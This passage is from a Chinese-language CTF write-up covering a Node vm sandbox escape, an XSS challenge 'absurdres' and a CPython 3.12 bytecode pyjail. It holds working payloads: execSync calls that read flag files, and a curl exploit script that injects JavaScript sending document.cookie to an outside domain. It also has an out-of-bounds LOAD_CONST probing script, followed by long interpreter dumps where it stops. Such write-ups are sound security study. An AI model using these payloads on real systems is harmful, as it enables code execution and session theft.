而它出現 error 的原因是因為 array of callsites toString 的時候也會轉換 Callsite，而 Callsite 轉換時會包含像是 filename 以及當前 function 名稱等資訊 (callsite 相當於 stack frame)。而 vm 中 runInContext 預設會建立一個 vm.Script，其 filename 為 evalmachine.<anonymous>，因此就會導致 Function syntax error。

而我這邊的作法很簡單，就是透過修改 this.constructor.prototype.filename 去汙染 host 的 filename，這樣就能控制之後 runInContext 的 filename 了，那麼也就能間接控制 callsites 的 toString 結果了。

this.constructor.prototype.filename='console.log\x28process.mainModule.require\x28"child_process"\x29.execSync\x28"cat f*"\x29.toString\x28\x29\x29 //'
Error.prototype.toString=v=>'ERRSTR'
Error.prepareStackTrace=this.constructor.constructor
err=new Error
err.toString=err.stack
err+''

其他人的 writeup:

n4o847 (作者)
lbr0nli
Ark

還有一個只出現在 discord 的解:

toString.constructor.prototype.toString=toString.constructor.prototype.call;
a = ["process.mainModule.require\u0028'child_process'\u0029.execSync\u0028'cat /app/flag-* 1>&2'\u0029","a"];
toString.constructor instanceof {[Symbol.hasInstance]:a.sort, __proto__: a};

Web

absurdres

總之有個圖片上傳功能:

@app.route('/image', methods=['POST'])
def post_image():
    image = request.files.get('image')
    if image is None:
        return 'no image', 400

    filename, *_, extension = os.path.basename(image.filename).split('.')
    if any(c not in ascii_lowercase for c in filename):
        return 'invalid filename', 400

    image_data = image.read()
    image_x2 = Image.open(BytesIO(image_data))
    image_x1 = image_x2.resize((image_x2.width // 2, image_x2.height // 2))

    image_id = md5(image_data).hexdigest()

    db.images.insert_one({
        'image_id': image_id,
        'files': [
            {
                'path': f'images/{filename}.x2.{extension}',
                'title': image.filename,
                'zoom': 2,
            },
            {
                'path': f'images/{filename}.x1.{extension}',
                'title': image.filename,
                'zoom': None,
            },
        ],
    })

    image_x1.save(f'{static_dir}/images/{filename}.x1.{extension}')
    image_x2.save(f'{static_dir}/images/{filename}.x2.{extension}')

    return redirect(url_for('get_image', image_id=image_id))

而它 render /images/<image_id> 的時候會碰到這些 function:

@app.route('/images/<image_id>', methods=['GET'])
def get_image(image_id):
    image = db.images.find_one({'image_id': image_id})
    return render_template('image.html.jinja', img=get_img('', image_id), image_id=image_id, files=image['files'])

def get_img(alt, image_id):
    if request.path.startswith('/images/'):
        image_id = request.path.split('/')[-1]

    image = db.images.find_one({'image_id': image_id})
    if image is None:
        return ''

    srcset = ', '.join(get_img_srcset(file) for file in image['files'])
    return f'<img srcset="{srcset}" alt="{alt}">'


def replace_img(match):
    return get_img(match.group(1).decode(), match.group(2).decode()).encode()


@app.after_request
def after_request(response):
    response.direct_passthrough = False

    data = response.get_data()
    response.data = re.sub(b'!\\[(.*?)\\]\\((.+?)\\)', replace_img, data)

    return response

目標是要 XSS 並繞過 CSP script-src 'self' 'nonce-???'。

單純 html injection 的部分因為它有給一個 post 功能(上面的 code 沒寫到)，所以只要透過 after_request 的特殊處裡透過 alt 就能 inject html。不過這部分我到最後完全沒用到 XD。

而 image.html.jinja 有這段 html:

<script nonce="{{csp_nonce()}}">
	const files = {{files|json|safe}};
	// omitted
</script>

其中 files 是部分可控的，因為它裡面包含上傳檔名的 filename，而題目那邊只有驗 os.path.basename(image.filename).split('.')[0] 是否只包含小寫字母，因此可 injection 的空間還很大。

另一個困難點是 files 會被轉成 json，不過如果裡面有 ![](a) 之類的東西讓 after_request 處理了，說不定可以繞出 string literal 直接 XSS。

當然，這部分實際上很複雜，就是基於我上面寫出的兩點去 trial and error，最後構造出可以執行的 js 就是了。裡面還要用到一些額外的技巧如 <!-- 也是 js 的 single line comment 之一，還有一些 dom clobbering，不過那些要講清楚很難，所以就算了 XD。

#!/usr/bin/env zsh
# ddd.png is a valid png file
# need to prepare a valid domain name (e.g. abc.com)
cat ddd.png <(dd if=/dev/urandom bs=1 count=8) > tmp.png
curl 'http://34.84.176.251:55416/image' -F 'image=@tmp.png; filename="START![,zz//](asddh)END`/window.ext+((new Image)['"'"'src'"'"']='"'"'\x2f\x2fabc\x2ecom?'"'"'+document['"'"'cookie'"'"'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->"'
md5sum tmp.png | awk '{ print $1 }'
# admin visit http://34.84.176.251:55416/images/$hash
# TSGCTF{1girl, hacker, in front of computer, hooded, in dark room, table, sitting, keyboard, 8k wallpaper, highly detailed, absurdres}

然後這個是最後 /images/$hash 弄出來的 html 的一部份，供參考:

<script nonce="U03ribU1UMZFz3Q6QfCTpdmzwYm6uyrQ">
	const files = [{"path": "images/window.x2.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": 2}, {"path": "images/window.x1.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "title": "START<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt=",zz//">END`/window.ext+((new Image)['src']='\\x2f\\x2fabc\\x2ecom?'+document['cookie'])}];`;<!-- \" id=assets><div id=images><div id=x2>-->", "zoom": null}];
	const file = getBestImage(files, window.devicePixelRatio);
	// omitted
</script>

另外在那段 code 的上面還有另一個 html injection，所以我透過那邊 dom clobbering:

<figure>
	<img srcset="/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>--> 2x, /assets/images/window.x1.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`;<!-- " id=assets><div id=images><div id=x2>-->" alt="">
	<figcaption>

總之它最後執行的 js 大致上是這樣:

const files = [{"path": "???"/assets/images/window.x2.ext+((new Image)['src']='\x2f\x2fabc\x2ecom?'+document['cookie'])}];`???`;<!-- ???
const file = getBestImage(files, window.devicePixelRatio);
// omitted

Pwn

bypy

CPython 3.12 的 bytecode pyjail

from base64 import b64decode
from marshal import loads

NMAX = 10000


def validator(c):
    if len(c.co_names) != 0:
        return False
    if len(c.co_consts) != 0:
        return False
    if len(c.co_cellvars) != 0:
        return False
    if len(c.co_freevars) != 0:
        return False
    if len(c.co_varnames) != 0:
        return False
    return True


def dummy():
    pass


# :)
for key in ["eval", "exec", "__import__", "open"]:
    del __builtins__.__dict__[key]


def main():
    global __builtins__
    print("Give me your source: ")
    src = input()
    if len(src) > NMAX:
        print("too long")
        exit(-1)

    c = b64decode(src)
    code = loads(c)
    if not validator(code):
        print("invalid code")
        exit(-1)

    dummy.__code__ = code

    print(dummy())


main()

簡單來說不能有任何 names 和 consts 出現而已。

我先參考常見的 empty tuple OOB 去爆看看有哪些 constant 可以用:

from types import CodeType
from opcode import opmap
from sys import argv


class MockBuiltins(dict):
    def __getitem__(self, k):
        if type(k) == str:
            return k


if __name__ == "__main__":
    n = int(argv[1])

    code = [
        *([opmap["EXTENDED_ARG"], n // 256] if n // 256 != 0 else []),
        opmap["LOAD_CONST"],
        n % 256,
        opmap["RETURN_VALUE"],
        0,
    ]

    c = CodeType(
        0,
        0,
        0,
        0,
        0,
        3,
        bytes(code),
        (),
        (),
        (),
        "<sandbox>",
        "<eval>",
        "",
        0,
        b"",
        b"",
        (),
        (),
    )

    ret = eval(c, {"__builtins__": MockBuiltins()})
    if ret:
        print(f"{n}: {ret}")

# for i in $(seq 1 10000); do python find.py $i 2>/dev/null; done >> offsets.txt

"""
4: <class 'hamt_bitmap_node'>
9: <class 'Token.MISSING'>
54: {'__name__': 'sys', '__doc__': "This module provides access to some objects used or maintained by the\ninterpreter and to functions that interact strongly with the interpreter.\n\nDynamic objects:\n\nargv -- command line arguments; argv[0] is the script pathname if known\npath -- module search path; path[0] is the script directory, else ''\nmodules -- dictionary of loaded modules\n\ndisplayhook -- called to show results in an interactive session\nexcepthook -- called to handle any uncaught exception other than SystemExit\n  To customize printing in an interactive session or to install a custom\n  top-level exception handler, assign other functions to replace these.\n\nstdin -- standard input file object; used by input()\nstdout -- standard output file object; used by print()\nstderr -- standard error object; used for error messages\n  By assigning other file objects (or objects that behave like files)\n  to these, it is possible to redirect all of the interpreter's I/O.\n\nlast_exc - the last uncaught exception\n  Only available in an interactive session after a\n  traceback has been printed.\nlast_type -- type of last uncaught exception\nlast_value -- value of last uncaught exception\nlast_traceback -- traceback of last uncaught exception\n  These three are the (deprecated) legacy representation of last_exc.\n\nStatic objects:\n\nbuiltin_module_names -- tuple of module names built into this interpreter\ncopyright -- copyright notice pertaining to this interpreter\nexec_prefix -- prefix used to find the machine-specific Python library\nexecutable -- absolute path of the executable binary of the Python interpreter\nfloat_info -- a named tuple with information about the float implementation.\nfloat_repr_style -- string indicating the style of repr() output for floats\nhash_info -- a named tuple with information about the hash algorithm.\nhexversion -- version information encoded as a single integer\nimplementation -- Python implementation information.\nint_info -- a named tuple with information about the int implementation.\nmaxsize -- the largest supported length of containers.\nmaxunicode -- the value of the largest Unicode code point\nplatform -- platform identifier\nprefix -- prefix used to find the Python library\nthread_info -- a named tuple with information about the thread implementation.\nversion -- the version of this interpreter as a string\nversion_info -- version information as a named tuple\n__stdin__ -- the original stdin; don't touch!\n__stdout__ -- the original stdout; don't touch!\n__stderr__ -- the original stderr; don't touch!\n__displayhook__ -- the original displayhook; don't touch!\n__excepthook__ -- the original excepthook; don't touch!\n\nFunctions:\n\ndisplayhook() -- print an object to the screen, and save it in builtins._\nexcepthook() -- print an exception and its traceback to sys.stderr\nexception() -- return the current thread's active exception\nexc_info() -- return information about the current thread's active exception\nexit() -- exit the interpreter by raising SystemExit\ngetdlopenflags() -- returns flags to be used for dlopen() calls\ngetprofile() -- get the global profiling function\ngetrefcount() -- return the reference count for an object (plus one :-)\ngetrecursionlimit() -- return the max recursion depth for the interpreter\ngetsizeof() -- return the size of an object in bytes\ngettrace() -- get the global debug tracing function\nsetdlopenflags() -- set the flags to be used for dlopen() calls\nsetprofile() -- set the global profiling function\nsetrecursionlimit() -- set the max recursion depth for the interpreter\nsettrace() -- set the global debug tracing function\n", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='sys', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), 'addaudithook': <built-in function addaudithook>, 'audit': <built-in function audit>, 'breakpointhook': <built-in function breakpointhook>, '_clear_type_cache': <built-in function _clear_type_cache>, '_current_frames': <built-in function _current_frames>, '_current_exceptions': <built-in function _current_exceptions>, 'displayhook': <built-in function displayhook>, 'exception': <built-in function exception>, 'exc_info': <built-in function exc_info>, 'excepthook': <built-in function excepthook>, 'exit': <built-in function exit>, 'getdefaultencoding': <built-in function getdefaultencoding>, 'getdlopenflags': <built-in function getdlopenflags>, 'getallocatedblocks': <built-in function getallocatedblocks>, 'getunicodeinternedsize': <built-in function getunicodeinternedsize>, 'getfilesystemencoding': <built-in function getfilesystemencoding>, 'getfilesystemencodeerrors': <built-in function getfilesystemencodeerrors>, 'getrefcount': <built-in function getrefcount>, 'getrecursionlimit': <built-in function getrecursionlimit>, 'getsizeof': <built-in function getsizeof>, '_getframe': <built-in function _getframe>, '_getframemodulename': <built-in function _getframemodulename>, 'intern': <built-in function intern>, 'is_finalizing': <built-in function is_finalizing>, 'setswitchinterval': <built-in function setswitchinterval>, 'getswitchinterval': <built-in function getswitchinterval>, 'setdlopenflags': <built-in function setdlopenflags>, 'setprofile': <built-in function setprofile>, '_setprofileallthreads': <built-in function _setprofileallthreads>, 'getprofile': <built-in function getprofile>, 'setrecursionlimit': <built-in function setrecursionlimit>, 'settrace': <built-in function settrace>, '_settraceallthreads': <built-in function _settraceallthreads>, 'gettrace': <built-in function gettrace>, 'call_tracing': <built-in function call_tracing>, '_debugmallocstats': <built-in function _debugmallocstats>, 'set_coroutine_origin_tracking_depth': <built-in function set_coroutine_origin_tracking_depth>, 'get_coroutine_origin_tracking_depth': <built-in function get_coroutine_origin_tracking_depth>, 'set_asyncgen_hooks': <built-in function set_asyncgen_hooks>, 'get_asyncgen_hooks': <built-in function get_asyncgen_hooks>, 'activate_stack_trampoline': <built-in function activate_stack_trampoline>, 'deactivate_stack_trampoline': <built-in function deactivate_stack_trampoline>, 'is_stack_trampoline_active': <built-in function is_stack_trampoline_active>, 'unraisablehook': <built-in function unraisablehook>, 'get_int_max_str_digits': <built-in function get_int_max_str_digits>, 'set_int_max_str_digits': <built-in function set_int_max_str_digits>, 'modules': {'sys': <module 'sys' (built-in)>, 'builtins': <module 'builtins' (built-in)>, '_frozen_importlib': <module '_frozen_importlib' (frozen)>, '_imp': <module '_imp' (built-in)>, '_thread': <module '_thread' (built-in)>, '_warnings': <module '_warnings' (built-in)>, '_weakref': <module '_weakref' (built-in)>, '_io': <module '_io' (built-in)>, 'marshal': <module 'marshal' (built-in)>, 'posix': <module 'posix' (built-in)>, '_frozen_importlib_external': <module '_frozen_importlib_external' (frozen)>, 'time': <module 'time' (built-in)>, 'zipimport': <module 'zipimport' (frozen)>, '_codecs': <module '_codecs' (built-in)>, 'codecs': <module 'codecs' (frozen)>, 'encodings.aliases': <module 'encodings.aliases' from '/usr/local/lib/python3.12/encodings/aliases.py'>, 'encodings': <module 'encodings' from '/usr/local/lib/python3.12/encodings/__init__.py'>, 'encodings.utf_8': <module 'encodings.utf_8' from '/usr/local/lib/python3.12/encodings/utf_8.py'>, '_signal': <module '_signal' (built-in)>, '_abc': <module '_abc' (built-in)>, 'abc': <module 'abc' (frozen)>, 'io': <module 'io' (frozen)>, '__main__': <module '__main__' from '/wd/find.py'>, '_stat': <module '_stat' (built-in)>, 'stat': <module 'stat' (frozen)>, '_collections_abc': <module '_collections_abc' (frozen)>, 'genericpath': <module 'genericpath' (frozen)>, 'posixpath': <module 'posixpath' (frozen)>, 'os.path': <module 'posixpath' (frozen)>, 'os': <module 'os' (frozen)>, '_sitebuiltins': <module '_sitebuiltins' (frozen)>, '_distutils_hack': <module '_distutils_hack' from '/usr/local/lib/python3.12/site-packages/_distutils_hack/__init__.py'>, 'site': <module 'site' (frozen)>, 'types': <module 'types' from '/usr/local/lib/python3.12/types.py'>, '_opcode': <module '_opcode' from '/usr/local/lib/python3.12/lib-dynload/_opcode.cpython-312-x86_64-linux-gnu.so'>, 'opcode': <module 'opcode' from '/usr/local/lib/python3.12/opcode.py'>}, 'stderr': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__stderr__': <_io.TextIOWrapper name='<stderr>' mode='w' encoding='utf-8'>, '__displayhook__': <built-in function displayhook>, '__excepthook__': <built-in function excepthook>, '__breakpointhook__': <built-in function breakpointhook>, '__unraisablehook__': <built-in function unraisablehook>, 'version': '3.12.0 (main, Nov  1 2023, 13:17:10) [GCC 10.2.1 20210110]', 'hexversion': 51118320, '_git': ('CPython', '', ''), '_framework': '', 'api_version': 1013, 'copyright': 'Copyright (c) 2001-2023 Python Software Foundation.\nAll Rights Reserved.\n\nCopyright (c) 2000 BeOpen.com.\nAll Rights Reserved.\n\nCopyright (c) 1995-2001 Corporation for National Research Initiatives.\nAll Rights Reserved.\n\nCopyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.\nAll Rights Reserved.', 'platform': 'linux', 'maxsize': 9223372036854775807, 'float_info': sys.float_info(max=1.7976931348623157e+308, max_exp=1024, max_10_exp=308, min=2.2250738585072014e-308, min_exp=-1021, min_10_exp=-307, dig=15, mant_dig=53, epsilon=2.220446049250313e-16, radix=2, rounds=1), 'int_info': sys.int_info(bits_per_digit=30, sizeof_digit=4, default_max_str_digits=4300, str_digits_check_threshold=640), 'hash_info': sys.hash_info(width=64, modulus=2305843009213693951, inf=314159, nan=0, imag=1000003, algorithm='siphash13', hash_bits=64, seed_bits=128, cutoff=0), 'maxunicode': 1114111, 'builtin_module_names': ('_abc', '_ast', '_codecs', '_collections', '_functools', '_imp', '_io', '_locale', '_operator', '_signal', '_sre', '_stat', '_string', '_symtable', '_thread', '_tokenize', '_tracemalloc', '_typing', '_warnings', '_weakref', 'atexit', 'builtins', 'errno', 'faulthandler', 'gc', 'itertools', 'marshal', 'posix', 'pwd', 'sys', 'time'), 'stdlib_module_names': frozenset({'multiprocessing', '_pydecimal', 'telnetlib', 'functools', '__future__', 'marshal', 'token', 'quopri', 'json', 'netrc', 'errno', '_markupbase', 'plistlib', '_sha2', 'ast', 'pipes', '_osx_support', 'unicodedata', 'modulefinder', 'dis', 're', 'uu', '_thread', 'ensurepip', 'idlelib', 'genericpath', 'traceback', 'textwrap', 'sre_constants', '_compat_pickle', 'bisect', 'tracemalloc', '_operator', 'dbm', 'copy', 'tokenize', 'collections', '_msi', 'ftplib', '_warnings', 'time', '_compression', 'locale', 'dataclasses', '_pyio', 'nt', 'webbrowser', 'xml', 'configparser', 'nis', '_ast', 'ssl', 'fcntl', 'operator', '_struct', '_codecs_jp', '_decimal', '_codecs_tw', '_sqlite3', 'copyreg', 'hmac', 'shlex', 'csv', 'zlib', '_io', 'email', 'winsound', 'builtins', '_bisect', 'pyexpat', '_locale', 'pdb', 'readline', 'resource', 'smtplib', 'lib2to3', 'importlib', 'tarfile', 'wsgiref', '_sre', 'chunk', 'poplib', 'sre_parse', '_codecs_hk', '_collections_abc', 'timeit', '_hashlib', 'cmath', '_statistics', '_threading_local', 'fnmatch', 'msilib', 'gzip', 'msvcrt', '_weakrefset', 'posix', 'random', 'imaplib', 'signal', '_codecs_cn', 'contextlib', 'winreg', 'site', 'mmap', 'sre_compile', 'struct', '_frozen_importlib_external', '_uuid', 'colorsys', 'decimal', '_pydatetime', 'heapq', '_sha1', 'os', 'shutil', 'urllib', 'zipapp', 'compileall', '_heapq', 'threading', 'html', 'tomllib', 'weakref', 'nturl2path', '_weakref', 'hashlib', 'rlcompleter', '_pickle', '_ctypes', '_curses', '_stat', '_bz2', 'abc', 'antigravity', 'asyncio', 'pstats', 'fractions', '_sha3', 'statistics', 'subprocess', 'encodings', 'pickletools', 'termios', '_datetime', 'graphlib', 'crypt', '_blake2', 'keyword', 'pty', 'tkinter', 'unittest', 'tty', '_winapi', 'sqlite3', 'wave', 'shelve', '_random', 'cProfile', 'faulthandler', 'turtledemo', 'code', 'array', 'spwd', 'sys', 'sunau', 'queue', 'aifc', '_ssl', 'getopt', '_collections', 'itertools', '_symtable', '_imp', 'enum', '_opcode', 'socketserver', '_lsprof', '_overlapped', '_posixshmem', '_multibytecodec', '_sitebuiltins', 'io', 'pydoc', 'opcode', 'symtable', 'platform', '_socket', 'doctest', 'inspect', 'pyclbr', 'pickle', 'gettext', 'filecmp', '_md5', 'sndhdr', 'zipimport', 'string', '_codecs', '_csv', 'secrets', '_dbm', '_tokenize', 'pwd', '_aix_support', 'nntplib', 'py_compile', 'ctypes', 'venv', 'runpy', 'xdrlib', 'base64', 'uuid', '_codecs_iso2022', '_strptime', 'linecache', 'zoneinfo', '_string', 'reprlib', '_queue', '_scproxy', 'this', '_elementtree', 'logging', 'pydoc_data', 'bz2', '_abc', 'pkgutil', '_crypt', 'ipaddress', '_curses_panel', 'warnings', 'audioop', '_py_abc', 'xmlrpc', '_posixsubprocess', 'bdb', 'sysconfig', '_tkinter', '_signal', '_lzma', 'ntpath', 'selectors', '_contextvars', 'cmd', 'tabnanny', 'binascii', 'optparse', 'pprint', 'trace', 'posixpath', 'http', 'contextvars', 'imghdr', 'atexit', '_zoneinfo', 'select', '_json', 'lzma', 'typing', 'stringprep', 'turtle', 'syslog', '_asyncio', 'glob', 'codecs', 'stat', '_frozen_importlib', 'getpass', '_pylong', '_functools', 'cgi', 'codeop', 'pathlib', 'sched', 'socket', 'calendar', 'numbers', 'tempfile', '_typing', 'types', 'cgitb', 'fileinput', 'grp', 'ossaudiodev', '_tracemalloc', 'argparse', 'curses', 'datetime', 'difflib', 'profile', 'mimetypes', 'mailcap', 'zipfile', 'concurrent', '_gdbm', 'math', 'gc', 'mailbox', '_codecs_kr', '_multiprocessing'}), 'byteorder': 'little', 'abiflags': '', 'version_info': sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), 'implementation': namespace(name='cpython', cache_tag='cpython-312', version=sys.version_info(major=3, minor=12, micro=0, releaselevel='final', serial=0), hexversion=51118320, _multiarch='x86_64-linux-gnu'), 'flags': sys.flags(debug=0, inspect=0, interactive=0, optimize=0, dont_write_bytecode=0, no_user_site=0, no_site=0, ignore_environment=0, verbose=0, bytes_warning=0, quiet=0, hash_randomization=1, isolated=0, dev_mode=False, utf8_mode=0, warn_default_encoding=0, safe_path=False, int_max_str_digits=4300), 'float_repr_style': 'short', 'thread_info': sys.thread_info(name='pthread', lock='semaphore', version='NPTL 2.31'), 'meta_path': [<_distutils_hack.DistutilsMetaFinder object at 0x7f1b813bdb50>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib_external.PathFinder'>], 'path_importer_cache': {'/usr/local/lib/python312.zip': None, '/usr/local/lib/python3.12': FileFinder('/usr/local/lib/python3.12'), '/usr/local/lib/python3.12/encodings': FileFinder('/usr/local/lib/python3.12/encodings'), '/usr/local/lib/python3.12/lib-dynload': FileFinder('/usr/local/lib/python3.12/lib-dynload'), '/usr/local/lib/python3.12/site-packages': FileFinder('/usr/local/lib/python3.12/site-packages'), '/wd/find.py': None, '/wd': FileFinder('/wd')}, 'path_hooks': [<class 'zipimport.zipimporter'>, <function FileFinder.path_hook.<locals>.path_hook_for_FileFinder at 0x7f1b815c05e0>], 'monitoring': <module 'sys.monitoring'>, 'path': ['/wd', '/usr/local/lib/python312.zip', '/usr/local/lib/python3.12', '/usr/local/lib/python3.12/lib-dynload', '/usr/local/lib/python3.12/site-packages'], 'executable': '/usr/local/bin/python', '_base_executable': '/usr/local/bin/python', 'prefix': '/usr/local', 'base_prefix': '/usr/local', 'exec_prefix': '/usr/local', 'base_exec_prefix': '/usr/local', 'platlibdir': 'lib', 'pycache_prefix': None, 'argv': ['find.py', '54'], 'orig_argv': ['python', 'find.py', '54'], 'warnoptions': [], '_xoptions': {}, '_stdlib_dir': '/usr/local/lib/python3.12', 'dont_write_bytecode': False, '__stdin__': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, 'stdin': <_io.TextIOWrapper name='<stdin>' mode='r' encoding='utf-8'>, '__stdout__': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, 'stdout': <_io.TextIOWrapper name='<stdout>' mode='w' encoding='utf-8'>, '_home': None, '__interactivehook__': <function enablerlcompleter.<locals>.register_readline at 0x7f1b813d8900>}
55: {'__name__': 'builtins', '__doc__': "Built-in functions, types, exceptions, and other objects.\n\nThis module provides direct access to all 'built-in'\nidentifiers of Python; for example, builtins.len is\nthe full name for the built-in function len().\n\nThis module is not normally accessed explicitly by most\napplications, but can be useful in modules that provide\nobjects with the same name as a built-in value, but in\nwhich the built-in of that name is also needed.", '__package__': '', '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': ModuleSpec(name='builtins', loader=<class '_frozen_importlib.BuiltinImporter'>, origin='built-in'), '__build_class__': <built-in function __build_class__>, '__import__': <built-in function __import__>, 'abs': <built-in function abs>, 'all': <built-in function all>, 'any': <built-in function any>, 'ascii': <built-in function ascii>, 'bin': <built-in function bin>, 'breakpoint': <built-in function breakpoint>, 'callable': <built-in function callable>, 'chr': <built-in function chr>, 'compile': <built-in function compile>, 'delattr': <built-in function delattr>, 'dir': <built-in function dir>, 'divmod': <built-in function divmod>, 'eval': <built-in function eval>, 'exec': <built-in function exec>, 'format': <built-in function format>, 'getattr': <built-in function getattr>, 'globals': <built-in function globals>, 'hasattr': <built-in function hasattr>, 'hash': <built-in function hash>, 'hex': <built-in function hex>, 'id': <built-in function id>, 'input': <built-in function input>, 'isinstance': <built-in function isinstance>, 'issubclass': <built-in function issubclass>, 'iter': <built-in function iter>, 'aiter': <built-in function aiter>, 'len': <built-in function len>, 'locals': <built-in function locals>, 'max': <built-in function max>, 'min': <built-in function min>, 'next': <built-in function next>, 'anext': <built-in function anext>, 'oct': <built-in function oct>, 'ord': <built-in function ord>, 'pow': <built-in function pow>, 'print': <built-in function print>, 'repr': <built-in function repr>, 'round': <built-in function round>, 'setattr': <built-in function setattr>, 'sorted': <built-in function sorted>, 'sum': <built-in function sum>, 'vars': <built-in function vars>, 'None': None, 'Ellipsis': Ellipsis, 'NotImplemented': NotImplemented, 'False': False, 'True': True, 'bool': <class 'bool'>, 'memoryview': <class 'memoryview'>, 'bytearray': <class 'bytearray'>, 'bytes': <class 'bytes'>, 'classmethod': <class 'classmethod'>, 'complex': <class 'complex'>, 'dict': <class 'dict'>, 'enumerate': <class 'enumerate'>, 'filter': <class 'filter'>, 'float': <class 'float'>, 'frozenset': <class 'frozenset'>, 'property': <class 'property'>, 'int': <class 'int'>, 'list': <class 'list'>, 'map': <class 'map'>, 'object': <class 'object'>, 'range': <class 'range'>, 'reversed': <class 'reversed'>, 'set': <class 'set'>, 'slice': <class 'slice'>, 'staticmethod': <class 'staticmethod'>, 'str': <class 'str'>, 'super': <class 'super'>, 'tuple': <class 'tuple'>, 'type': <class 'type'>, 'zip': <class 'zip'>, '__debug__': True, 'BaseException': <class 'BaseException'>, 'BaseExceptionGroup': <class 'BaseExceptionGroup'>, 'Exception': <class 'Exception'>, 'GeneratorExit': <class 'GeneratorExit'>, 'KeyboardInterrupt': <class 'KeyboardInterrupt'>, 'SystemExit': <class 'SystemExit'>, 'ArithmeticError': <class 'ArithmeticError'>, 'AssertionError': <class 'AssertionError'>, 'AttributeError': <class 'AttributeError'>, 'BufferError': <class 'BufferError'>, 'EOFError': <class 'EOFError'>, 'ImportError': <class 'ImportError'>, 'LookupError': <class 'LookupError'>, 'MemoryError': <class 'MemoryError'>, 'NameError': <class 'NameError'>, 'OSError': <class 'OSError'>, 'ReferenceError': <class 'ReferenceError'>, 'RuntimeError': <class 'RuntimeError'>, 'StopAsyncIteration': <class 'StopAsyncIteration'>, 'StopIteration': <class 'StopIteration'>, 'SyntaxError': <class 'SyntaxError'>, 'SystemError': <class 'SystemError'>, 'TypeError': <class 'TypeError'>, 'ValueError': <class 'ValueError'>, 'Warning': <class 'Warning'>, 'FloatingPointError': <class 'FloatingPointError'>, 'OverflowError': <class 'OverflowError'>, 'ZeroDivisionError': <class 'ZeroDivisionError'>, 'BytesWarning': <class 'BytesWarning'>, 'DeprecationWarning': <class 'DeprecationWarning'>, 'EncodingWarning': <class 'EncodingWarning'>, 'FutureWarning': <class 'FutureWarning'>, 'ImportWarning': <class 'ImportWarning'>, 'PendingDeprecationWarning': <class 'PendingDeprecationWarning'>, 'ResourceWarning': <class 'ResourceWarning'>, 'RuntimeWarning': <class 'RuntimeWarning'>, 'SyntaxWarning': <class 'SyntaxWarning'>, 'UnicodeWarning': <class 'UnicodeWarning'>, 'UserWarning': <class 'UserWarning'>, 'BlockingIOError': <class 'BlockingIOError'>, 'ChildProcessError': <class 'ChildProcessError'>, 'ConnectionError': <class 'ConnectionError'>, 'FileExistsError': <class 'FileExistsError'>, 'FileNotFoundError': <class 'FileNotFoundError'>, 'InterruptedError': <class 'InterruptedError'>, 'IsADirectoryError': <class 'IsADirectoryError'>, 'NotADirectoryError': <class 'NotADirectoryError'>, 'PermissionError': <class 'PermissionError'>, 'ProcessLookupError': <class 'ProcessLookupError'>, 'TimeoutError': <class 'TimeoutError'>, 'IndentationError': <class 'IndentationError'>, 'IndexError': <class 'IndexError'>, 'KeyError': <class 'KeyError'>, 'ModuleNotFoundError': <class 'ModuleNotFoundError'>, 'NotImplementedError': <class 'NotImplementedError'>, 'RecursionError': <class 'RecursionError'>, 'UnboundLocalError': <class 'UnboundLocalError'>, 'UnicodeError': <class 'UnicodeError'>, 'BrokenPipeError': <class 'BrokenPipeError'>, 'ConnectionAbortedError': <class 'ConnectionAbortedError'>, 'ConnectionRefusedError': <class 'ConnectionRefusedError'>, 'ConnectionResetError': <class 'ConnectionResetError'>, 'TabError': <class 'TabError'>, 'UnicodeDecodeError': <class 'UnicodeDecodeError'>, 'UnicodeEncodeError': <class 'UnicodeEncodeError'>, 'UnicodeTranslateError': <class 'UnicodeTranslateError'>, 'ExceptionGroup': <class 'ExceptionGroup'>, 'EnvironmentError': <class 'OSError'>, 'IOError': <class 'OSError'>, 'open': <built-in function open>, 'quit': Use quit() or Ctrl-D (i.e. EOF) to exit, 'exit': Use exit() or Ctrl-D (i.e. EOF) to exit, 'copyright': Copyright (c) 2001-2023 Python Software Foundation.
All Rights Reserved.

Copyright (c) 2000 BeOpen.com.
All Rights Reserved.

Copyright (c) 1995-2001 Corporation for National Research Initiatives.
All Rights Reserved.

Copyright (c) 1991-1995 Stichting Mathematisch Centrum, Amsterdam.
All Rights Reserved., 'credits':     Thanks to CWI, CNRI, BeOpen.com, Zope Corporation and a cast of thousands
    for supporting Python development.  See www.python.org for more information., 'license': Type license() to see the full license text, 'help': Type help() for interactive help, or help(object) for help about object.}
